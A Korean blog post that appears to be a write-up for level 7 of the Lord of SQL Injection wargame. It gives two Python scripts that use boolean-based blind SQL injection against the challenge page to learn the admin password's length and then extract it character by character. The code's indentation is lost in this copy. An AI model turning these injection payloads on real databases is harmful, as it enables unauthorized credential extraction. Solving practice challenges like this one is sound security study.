Oh! JUN
[Lord Of SQL Injection] 7번 본문
패스워드 길이 구하는 코드
import requests
import string
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = dict(PHPSESSID="쿠키값")
for i in range(1,100):
param = "?pw='|| length(pw)="+str(i)+"%23"
len_result = url+param
response = requests.get(len_result, cookies=cookie)
if response.text.find("Hello guest")>0:
print("password :"+str(i))
break
패스워드 구하는 코드
import requests
import string
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = dict(PHPSESSID="쿠키값")
asc = string.digits+string.ascii_letters
result=""
for i in range(1,18):
for j in asc:
param = "?pw='||ascii(substr(pw,"+str(i)+",1))="+str(ord(j))+"%23"
print(j)
res_url = url+param
response = requests.get(res_url, cookies=cookie)
if response.text.find("Hello admin")>0:
print(j)
result+=j
break
print("pw :"+result)
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 14번 (0) | 2022.02.03 |
---|---|
[Lord Of SQL Injection] 13번 (0) | 2022.02.03 |
[Lord Of SQL Injection] 12번(자세한 설명,수정완료) (0) | 2022.02.02 |
[Lord Of SQL Injection] 11번 (0) | 2022.02.02 |
[Lord Of SQL Injection] 4번 (0) | 2022.01.30 |